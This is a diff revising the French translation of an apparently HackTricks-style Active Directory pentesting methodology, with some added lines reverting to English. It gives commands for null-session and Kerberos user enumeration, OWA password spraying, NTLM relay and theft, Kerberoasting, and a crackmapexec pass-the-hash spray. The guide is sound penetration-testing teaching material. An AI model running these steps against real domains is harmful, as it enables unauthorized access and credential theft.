-5. **Rights Management** – Aide à protéger le contenu soumis aux droits d'auteur en régulant sa distribution et son utilisation non autorisées.
+5. **Rights Management** – Aide à protéger le matériel protégé par le droit d'auteur en régulant sa distribution et son utilisation non autorisée.
 6. **DNS Service** – Crucial pour la résolution des **domain names**.

 For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)

 ### **Kerberos Authentication**

-Pour apprendre comment **attaquer un AD**, vous devez bien comprendre le **processus d'authentication Kerberos**.\
+To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
 [**Read this page if you still don't know how it works.**](kerberos-authentication.md)

-## Feuille de référence
+## Cheat Sheet

-Vous pouvez consulter rapidement [https://wadcoms.github.io/](https://wadcoms.github.io) pour obtenir un aperçu des commandes à exécuter pour enumerer/exploiter un AD.
+You can take a lot to [https://wadcoms.github.io/](https://wadcoms.github.io) to have a quick view of which commands you can run to enumerate/exploit an AD.

 > [!WARNING]
-> Kerberos communication **requires a full qualifid name (FQDN)** pour effectuer des actions. Si vous tentez d'accéder à une machine via son adresse IP, **ce sera NTLM et non Kerberos**.
+> La communication Kerberos **requiert un nom de domaine entièrement qualifié (FQDN)** pour effectuer des actions. Si vous essayez d'accéder à une machine par son adresse IP, **elle utilisera NTLM et pas Kerberos**.

 ## Recon Active Directory (No creds/sessions)

-Si vous avez simplement accès à un environnement AD mais que vous ne disposez d'aucun identifiants/sessions, vous pouvez :
+Si vous avez uniquement accès à un environnement AD mais que vous n'avez aucune credentials/sessions, vous pouvez :

 - **Pentest the network:**
- Scanner le réseau, trouver les machines et ports ouverts et tenter d'**exploit vulnerabilities** ou d'**extract credentials** depuis celles-ci (par exemple, [les printers peuvent être des cibles très intéressantes](ad-information-in-printers.md)).
- L'énumération du DNS peut fournir des informations sur des serveurs clés du domaine comme web, printers, shares, vpn, media, etc.
+- Scannez le réseau, trouvez des machines et des ports ouverts et essayez d'**exploit vulnerabilities** ou d'**extract credentials** depuis celles-ci (par exemple, [printers could be very interesting targets](ad-information-in-printers.md).
+- L'énumération DNS peut fournir des informations sur des serveurs clés du domaine tels que web, printers, shares, vpn, media, etc.
 - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- Consultez la page générale [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) pour plus d'informations sur la manière de procéder.
+- Consultez la [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) générale pour plus d'informations sur la manière de procéder.
 - **Check for null and Guest access on smb services** (cela ne fonctionnera pas sur les versions modernes de Windows) :
 - `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
 - `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
 - `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- Un guide plus détaillé sur la façon d'énumérer un serveur SMB est disponible ici :
+- Un guide plus détaillé sur la manière d'énumérer un serveur SMB se trouve ici :


 {{#ref}}
@ -61,7 +61,7 @@ Si vous avez simplement accès à un environnement AD mais que vous ne disposez

 - **Enumerate Ldap**
 - `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- Un guide plus détaillé sur l'énumération LDAP est disponible ici (prêtez une **attention particulière à l'accès anonyme**) :
+- Un guide plus détaillé sur la façon d'énumérer LDAP se trouve ici (faites **particulièrement attention à l'accès anonyme**) :


 {{#ref}}
@ -69,12 +69,12 @@ Si vous avez simplement accès à un environnement AD mais que vous ne disposez
 {{#endref}}

 - **Poison the network**
- Récupérer des credentials en **impersonating services with Responder** (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Accéder à un hôte en [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Récupérer des credentials en **exposant** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html) :
- Extraire des usernames/noms depuis des documents internes, les réseaux sociaux, des services (principalement web) à l'intérieur des environnements de domaine ainsi que depuis les sources publiques.
- Si vous trouvez les noms complets des employés de l'entreprise, vous pouvez essayer différentes conventions de **username AD** (**[read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)**)**. Les conventions les plus courantes sont : _NameSurname_, _Name.Surname_, _NamSur_ (3 lettres de chaque), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _lettres aléatoires et 3 chiffres aléatoires_ (abc123).
+- Récupérez des credentials en [**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+- Accédez à un hôte en [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
+- Récupérez des credentials **exposant** [**fake UPnP services with evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
+- Extraire des usernames/noms à partir de documents internes, des réseaux sociaux, des services (principalement web) à l'intérieur des environnements de domaine et aussi à partir de sources publiquement disponibles.
+- Si vous trouvez les noms complets des employés, vous pouvez tester différentes conventions de **username AD** (**[read this**](https://activedirectorypro.com/active-directory-user-naming-convention/)**)**. Les conventions les plus courantes sont : _NameSurname_, _Name.Surname_, _NamSur_ (3 lettres de chaque), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _random letters and 3 random numbers_ (abc123).
 - Outils :
 - [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
 - [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
@ -82,8 +82,8 @@ Si vous avez simplement accès à un environnement AD mais que vous ne disposez
 ### User enumeration

 - **Anonymous SMB/LDAP enum:** Consultez les pages [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) et [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
- **Kerbrute enum** : Lorsqu'un **username invalide est demandé**, le serveur répondra en utilisant le **Kerberos error** code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ce qui nous permet de déterminer que le nom d'utilisateur est invalide. Les **usernames valides** provoqueront soit un **TGT in a AS-REP** en réponse, soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentication.
- **No Authentication against MS-NRPC** : En utilisant auth-level = 1 (No authentication) contre l'interface MS-NRPC (Netlogon) sur les domain controllers. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucune credential. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
+- **Kerbrute enum**: Lorsqu'un **username invalide est demandé**, le serveur répondra avec le code d'erreur **Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, ce qui nous permet de déterminer que le username était invalide. Les **valid usernames** déclencheront soit un **TGT in a AS-REP** en réponse soit l'erreur _KRB5KDC_ERR_PREAUTH_REQUIRED_, indiquant que l'utilisateur doit effectuer une pré-authentification.
+- **No Authentication against MS-NRPC**: Utilisation de auth-level = 1 (No authentication) contre l'interface MS-NRPC (Netlogon) sur les domain controllers. La méthode appelle la fonction `DsrGetDcNameEx2` après avoir lié l'interface MS-NRPC pour vérifier si l'utilisateur ou l'ordinateur existe sans aucune credentials. L'outil [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) implémente ce type d'énumération. La recherche peut être trouvée [ici](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases

@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
 ```
 - **OWA (Outlook Web Access) Server**

-Si vous trouvez l'un de ces serveurs sur le réseau, vous pouvez également effectuer **user enumeration against it**. Par exemple, vous pouvez utiliser l'outil [**MailSniper**](https://github.com/dafthack/MailSniper):
+Si vous trouvez l'un de ces serveurs sur le réseau, vous pouvez également effectuer une **énumération d'utilisateurs**. Par exemple, vous pouvez utiliser l'outil [**MailSniper**](https://github.com/dafthack/MailSniper):
 ```bash
 ipmo C:\Tools\MailSniper\MailSniper.ps1
 # Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
 Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
 ```
 > [!WARNING]
-> Vous pouvez trouver des listes de noms d'utilisateurs dans [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) et dans celui-ci ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
+> Vous pouvez trouver des listes de noms d'utilisateur dans [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) et dans celui-ci ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
 >
-> Cependant, vous devriez disposer du **nom des personnes travaillant dans l'entreprise** à partir de l'étape de recon que vous auriez dû effectuer auparavant. Avec le prénom et le nom de famille vous pouvez utiliser le script [**namemash.py**](https://gist.github.com/superkojiman/11076951) pour générer des noms d'utilisateur potentiels valides.
+> Cependant, vous devriez avoir le **nom des personnes travaillant dans l'entreprise** à partir de l'étape de recon que vous auriez dû effectuer avant ceci. Avec le prénom et le nom de famille, vous pouvez utiliser le script [**namemash.py**](https://gist.github.com/superkojiman/11076951) pour générer des noms d'utilisateur potentiels valides.

 ### Knowing one or several usernames

-Ok, donc vous savez déjà qu'un nom d'utilisateur est valide mais vous n'avez aucun mot de passe... Essayez alors :
+Ok, donc vous savez que vous avez déjà un nom d'utilisateur valide mais pas de mots de passe... Essayez alors :

- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_ vous pouvez **demander un AS_REP message** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
- [**Password Spraying**](password-spraying.md) : Essayez les mots de passe les plus **communs** avec chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez en tête la politique de mot de passe !).
- Notez que vous pouvez aussi **spray OWA servers** pour tenter d'accéder aux serveurs mail des utilisateurs.
+- [**ASREPRoast**](asreproast.md) : Si un utilisateur **n'a pas** l'attribut _DONT_REQ_PREAUTH_ vous pouvez **demander un message AS_REP** pour cet utilisateur qui contiendra des données chiffrées par une dérivation du mot de passe de l'utilisateur.
+- [**Password Spraying**](password-spraying.md) : Essayez les mots de passe les plus **communs** sur chacun des utilisateurs découverts, peut-être qu'un utilisateur utilise un mauvais mot de passe (gardez en tête la politique de mot de passe !).
+- Notez que vous pouvez aussi **sprayer les serveurs OWA** pour tenter d'accéder aux serveurs mail des utilisateurs.


 {{#ref}}
@ -129,7 +129,7 @@ password-spraying.md

 ### LLMNR/NBT-NS Poisoning

-Vous pourriez être capable d'**obtenir** certains **hashes** de challenge à cracker en **poisoning** certains protocoles du **network** :
+Vous pourriez être capable d'**obtenir** des challenges **hashes** à cracker en empoisonnant certains protocoles du **réseau** :


 {{#ref}}
@ -138,43 +138,43 @@ Vous pourriez être capable d'**obtenir** certains **hashes** de challenge à cr

 ### NTLM Relay

-Si vous avez réussi à énumérer l'active directory vous aurez **plus d'emails et une meilleure compréhension du network**. Vous pourriez être en mesure de forcer des NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) pour accéder à l'AD env.
+Si vous avez réussi à énumérer l'active directory, vous aurez **plus d'emails et une meilleure compréhension du réseau**. Vous pourriez être capable de forcer des attaques de relais NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) pour obtenir l'accès à l'environnement AD.

 ### Steal NTLM Creds

-Si vous pouvez **accéder à d'autres PC ou shares** avec l'**null ou guest user** vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont consultés, vont t**rigger an NTLM authentication against you** afin que vous puissiez **steal** le **NTLM challenge** pour le cracker :
+Si vous pouvez **accéder à d'autres PC ou partages** avec l'**utilisateur null ou guest** vous pourriez **placer des fichiers** (comme un fichier SCF) qui, si ils sont consultés, vont **déclencher une authentification NTLM envers vous** afin que vous puissiez **voler** le **challenge NTLM** pour le cracker :


 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
 {{#endref}}

-## Énumération d'Active Directory AVEC credentials/session
+## Enumerating Active Directory WITH credentials/session

-Pour cette phase vous devez avoir **compromis les credentials ou une session d'un compte de domaine valide.** Si vous avez des credentials valides ou un shell en tant qu'utilisateur de domaine, **n'oubliez pas que les options données précédemment restent des options pour compromettre d'autres utilisateurs**.
+Pour cette phase vous devez avoir **compromis les identifiants ou une session d'un compte de domaine valide.** Si vous possédez des identifiants valides ou un shell en tant qu'utilisateur de domaine, **rappelez-vous que les options données précédemment restent des possibilités pour compromettre d'autres utilisateurs.**

-Avant de commencer l'énumération authentifiée vous devriez connaître le **Kerberos double hop problem.**
+Avant de commencer l'énumération authentifiée, vous devriez connaître le **Kerberos double hop problem.**


 {{#ref}}
 kerberos-double-hop-problem.md
 {{#endref}}

-### Énumération
+### Enumeration

 Avoir compromis un compte est une **grande étape pour commencer à compromettre tout le domaine**, car vous allez pouvoir lancer l'**Active Directory Enumeration :**

 Concernant [**ASREPRoast**](asreproast.md) vous pouvez maintenant trouver tous les utilisateurs potentiellement vulnérables, et concernant [**Password Spraying**](password-spraying.md) vous pouvez obtenir une **liste de tous les noms d'utilisateur** et essayer le mot de passe du compte compromis, des mots de passe vides et de nouveaux mots de passe prometteurs.

- Vous pourriez utiliser le [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
+- Vous pouvez utiliser le [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
 - Vous pouvez aussi utiliser [**powershell for recon**](../basic-powershell-for-pentesters/index.html) qui sera plus discret
- Vous pouvez également [**use powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
- Un autre outil incroyable pour le recon dans un active directory est [**BloodHound**](bloodhound.md). Il n'est **pas très stealthy** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous dérange pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
+- Vous pouvez aussi [**use powerview**](../basic-powershell-for-pentesters/powerview.md) pour extraire des informations plus détaillées
+- Un autre outil incroyable pour la reconnaissance dans un active directory est [**BloodHound**](bloodhound.md). Ce n'est **pas très discret** (selon les méthodes de collecte que vous utilisez), mais **si cela ne vous importe pas**, vous devriez absolument l'essayer. Trouvez où les utilisateurs peuvent RDP, trouvez des chemins vers d'autres groupes, etc.
+- **D'autres outils automatisés d'énumération AD sont :** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**DNS records of the AD**](ad-dns-records.md) car ils peuvent contenir des informations intéressantes.
 - Un **outil avec GUI** que vous pouvez utiliser pour énumérer l'annuaire est **AdExplorer.exe** de la suite **SysInternal**.
- Vous pouvez aussi rechercher dans la base LDAP avec **ldapsearch** pour chercher des credentials dans les champs _userPassword_ & _unixUserPassword_, ou même dans _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
- Si vous utilisez **Linux**, vous pourriez aussi énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
+- Vous pouvez aussi rechercher dans la base LDAP avec **ldapsearch** pour chercher des identifiants dans les champs _userPassword_ & _unixUserPassword_, ou même dans _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) pour d'autres méthodes.
+- Si vous utilisez **Linux**, vous pouvez aussi énumérer le domaine en utilisant [**pywerview**](https://github.com/the-useless-one/pywerview).
 - Vous pouvez aussi essayer des outils automatisés comme :
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
 - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
@ -182,11 +182,11 @@ Concernant [**ASREPRoast**](asreproast.md) vous pouvez maintenant trouver tous l

 Il est très facile d'obtenir tous les noms d'utilisateur du domaine depuis Windows (`net user /domain` ,`Get-DomainUser` ou `wmic useraccount get name,sid`). Sous Linux, vous pouvez utiliser : `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ou `enum4linux -a -u "user" -p "password" <DC IP>`

-> Même si cette section Enumeration paraît courte, c'est la partie la plus importante de toutes. Accédez aux liens (principalement ceux de cmd, powershell, powerview et BloodHound), apprenez à énumérer un domaine et entraînez-vous jusqu'à être à l'aise. Lors d'une évaluation, ce sera le moment clé pour trouver votre chemin vers DA ou pour décider qu'il n'y a rien à faire.
+> Même si cette section Enumeration paraît courte, c'est la partie la plus importante de toutes. Accédez aux liens (principalement ceux de cmd, powershell, powerview et BloodHound), apprenez à énumérer un domaine et pratiquez jusqu'à ce que vous vous sentiez à l'aise. Lors d'une évaluation, ce sera le moment clé pour trouver votre chemin vers DA ou pour décider qu'il n'y a rien à faire.

 ### Kerberoast

-Kerberoasting implique l'obtention de **TGS tickets** utilisés par des services liés à des comptes utilisateurs et le cassage de leur chiffrement — qui est basé sur les mots de passe des utilisateurs — **offline**.
+Le Kerberoasting consiste à obtenir des **tickets TGS** utilisés par des services liés à des comptes d'utilisateurs et à cracker leur chiffrement — qui est basé sur les mots de passe utilisateurs — **hors ligne**.

 Plus d'informations dans :

@ -195,19 +195,19 @@ Plus d'informations dans :
 kerberoast.md
 {{#endref}}

-### Connexion distante (RDP, SSH, FTP, Win-RM, etc)
+### Remote connexion (RDP, SSH, FTP, Win-RM, etc)

-Une fois que vous avez obtenu des credentials vous pouvez vérifier si vous avez accès à une **machine**. Pour cela, vous pouvez utiliser **CrackMapExec** pour tenter de vous connecter sur plusieurs serveurs avec différents protocoles, selon vos scans de ports.
+Une fois que vous avez obtenu des identifiants, vous pouvez vérifier si vous avez accès à une **machine**. Pour cela, vous pouvez utiliser **CrackMapExec** pour tenter de vous connecter sur plusieurs serveurs avec différents protocoles, en fonction de vos scans de ports.

 ### Local Privilege Escalation

-Si vous avez compromis des credentials ou une session en tant qu'utilisateur de domaine standard et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine du domaine** vous devriez essayer de trouver un moyen d'**escalader les privilèges localement et de piller des credentials**. C'est parce qu'uniquement avec des privilèges administrateur local vous pourrez **dump hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).
+Si vous avez compromis des identifiants ou une session en tant qu'utilisateur de domaine régulier et que vous avez **accès** avec cet utilisateur à **n'importe quelle machine du domaine**, vous devriez essayer de trouver un moyen d'**escalader localement les privilèges et de piller les identifiants**. En effet, ce n'est qu'avec des privilèges d'administrateur local que vous pourrez **dumper les hashes d'autres utilisateurs** en mémoire (LSASS) et localement (SAM).

-Il y a une page complète dans ce livre sur [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). N'oubliez pas non plus d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Il y a une page complète dans ce livre sur [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) et une [**checklist**](../checklist-windows-privilege-escalation.md). Aussi, n'oubliez pas d'utiliser [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).

 ### Current Session Tickets

-Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur courant vous **donnant la permission d'accéder** à des ressources inattendues, mais vous pouvez vérifier :
+Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur courant vous donnant la permission d'accéder à des ressources inattendues, mais vous pouvez vérifier :
 ```bash
 ## List all tickets (if not admin, only current user tickets)
 .\Rubeus.exe triage
@ -217,17 +217,17 @@ Il est très **improbable** que vous trouviez des **tickets** dans l'utilisateur
 ```
 ### NTLM Relay

-Si vous avez réussi à énumérer l'Active Directory vous disposerez de **plus d'emails et d'une meilleure compréhension du réseau**. Vous pourriez être capable de forcer NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
+Si vous avez réussi à énumérer l'Active Directory vous aurez **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**

 ### Recherche de Creds dans les partages d'ordinateurs | SMB Shares

-Maintenant que vous avez quelques credentials de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés dans l'AD**. Vous pouvez le faire manuellement mais c'est une tâche très ennuyante et répétitive (surtout si vous trouvez des centaines de docs à vérifier).
+Maintenant que vous avez quelques identifiants de base vous devriez vérifier si vous pouvez **find** any **interesting files being shared inside the AD**. Vous pourriez faire cela manuellement mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de docs à vérifier).

 [**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)

 ### Steal NTLM Creds

-Si vous pouvez **accéder à d'autres PCs ou partages** vous pourriez **déposer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, vont **déclencher une authentification NTLM contre vous** afin que vous puissiez **voler** le **NTLM challenge** pour le cracker :
+Si vous pouvez **access other PCs or shares** vous pourriez **place files** (comme un fichier SCF) qui, s'ils sont ouverts, vont **trigger an NTLM authentication against you** afin que vous puissiez **steal** the **NTLM challenge** pour le cracker :


 {{#ref}}
@ -236,32 +236,32 @@ Si vous pouvez **accéder à d'autres PCs ou partages** vous pourriez **déposer

 ### CVE-2021-1675/CVE-2021-34527 PrintNightmare

-Cette vulnérabilité permettait à tout utilisateur authentifié de **compromettre le domain controller**.
+Cette vulnérabilité permettait à tout utilisateur authentifié de **compromise the domain controller**.


 {{#ref}}
 printnightmare.md
 {{#endref}}

-## Escalade de privilèges sur Active Directory AVEC des credentials/session privilégiés
+## Escalade de privilèges sur Active Directory AVEC des identifiants/sessions privilégiés

-**Pour les techniques suivantes un utilisateur de domaine ordinaire ne suffit pas, vous avez besoin de privilèges/credentials spéciaux pour effectuer ces attaques.**
+**Pour les techniques suivantes un utilisateur de domaine standard ne suffit pas, vous avez besoin de certains privilèges/credentials spéciaux pour effectuer ces attaques.**

-### Extraction de hash
+### Hash extraction

-Espérons que vous avez réussi à **compromettre un compte local admin** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluant le relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
-Ensuite, il est temps d'extraire tous les hashes en mémoire et localement.\
+Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
+Ensuite, il est temps de dumper tous les hashes en mémoire et localement.\
 [**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)

 ### Pass the Hash

-**Une fois que vous avez le hash d'un utilisateur**, vous pouvez l'utiliser pour **vous faire passer pour lui**.\
-Vous devez utiliser un **outil** qui **effectuera** l'**authentification NTLM en utilisant** ce **hash**, **ou** vous pouvez créer un nouveau **sessionlogon** et **injecter** ce **hash** dans le **LSASS**, ainsi lorsqu'une **authentification NTLM est effectuée**, ce **hash sera utilisé.** La dernière option est ce que fait mimikatz.\
+**Once you have the hash of a user**, you can use it to **impersonate** it.\
+Vous devez utiliser un **tool** qui **perform** the **NTLM authentication using** that **hash**, **or** vous pouvez créer un nouveau **sessionlogon** et **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** La dernière option est ce que fait mimikatz.\
 [**Read this page for more information.**](../ntlm/index.html#pass-the-hash)

 ### Over Pass the Hash/Pass the Key

-Cette attaque vise à **utiliser le hash NTLM de l'utilisateur pour demander des tickets Kerberos**, comme alternative au Pass The Hash courant via le protocole NTLM. Par conséquent, cela peut être particulièrement **utile dans des réseaux où le protocole NTLM est désactivé** et où seul **Kerberos est autorisé** comme protocole d'authentification.
+This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.


 {{#ref}}
@ -270,7 +270,7 @@ over-pass-the-hash-pass-the-key.md

 ### Pass the Ticket

-Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent le ticket d'authentification d'un utilisateur** au lieu de son mot de passe ou de ses valeurs de hash. Ce ticket volé est ensuite utilisé pour **se faire passer pour l'utilisateur**, obtenant un accès non autorisé aux ressources et services du réseau.
+In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.


 {{#ref}}
@ -279,20 +279,20 @@ pass-the-ticket.md

 ### Credentials Reuse

-Si vous avez le **hash** ou le **password** d'un **local administrator** vous devriez essayer de **vous connecter localement** à d'autres **PCs** avec celui-ci.
+If you have the **hash** or **password** of a **local administrator** you should try to **login locally** to other **PCs** with it.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
 ```
 > [!WARNING]
-> Notez que ceci est assez **bruyant** et que **LAPS** l'**atténuerait**.
+> Notez que cela est assez **bruyant** et que **LAPS** l'**atténuerait**.

 ### MSSQL Abuse & Trusted Links

-Si un utilisateur a les privilèges pour **accéder aux instances MSSQL**, il pourrait les utiliser pour **exécuter des commandes** sur l'hôte MSSQL (si celui-ci tourne en tant que SA), **voler** le **hash NetNTLM** ou même effectuer une **relay attack**.\
-Aussi, si une instance MSSQL est trusted (database link) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données trustée, il pourra **utiliser la relation de trust pour exécuter des requêtes également dans l'autre instance**. Ces trusts peuvent être chaînés et à un moment donné l'utilisateur pourrait trouver une base de données mal configurée où il peut exécuter des commandes.\
-**The links between databases work even across forest trusts.**
+Si un utilisateur a les privilèges pour **accéder aux instances MSSQL**, il pourrait les utiliser pour **exécuter des commandes** sur l'hôte MSSQL (si le service tourne en tant que SA), **voler** le **hash** NetNTLM ou même effectuer une **attaque de relay**.\
+De plus, si une instance MSSQL est trusted (database link) par une autre instance MSSQL, si l'utilisateur a des privilèges sur la base de données trusted, il pourra **utiliser la relation de trust pour exécuter des requêtes également sur l'autre instance**. Ces trusts peuvent être chaînés et, à un moment donné, l'utilisateur pourrait trouver une base de données mal configurée où il peut exécuter des commandes.\
+**Les liens entre bases de données fonctionnent même à travers les forest trusts.**


 {{#ref}}
@ -313,9 +313,9 @@ lansweeper-security.md

 ### Unconstrained Delegation

-Si vous trouvez un objet Computer avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur la machine, vous pourrez dump des TGTs depuis la mémoire de tous les utilisateurs qui se connectent à l'ordinateur.\
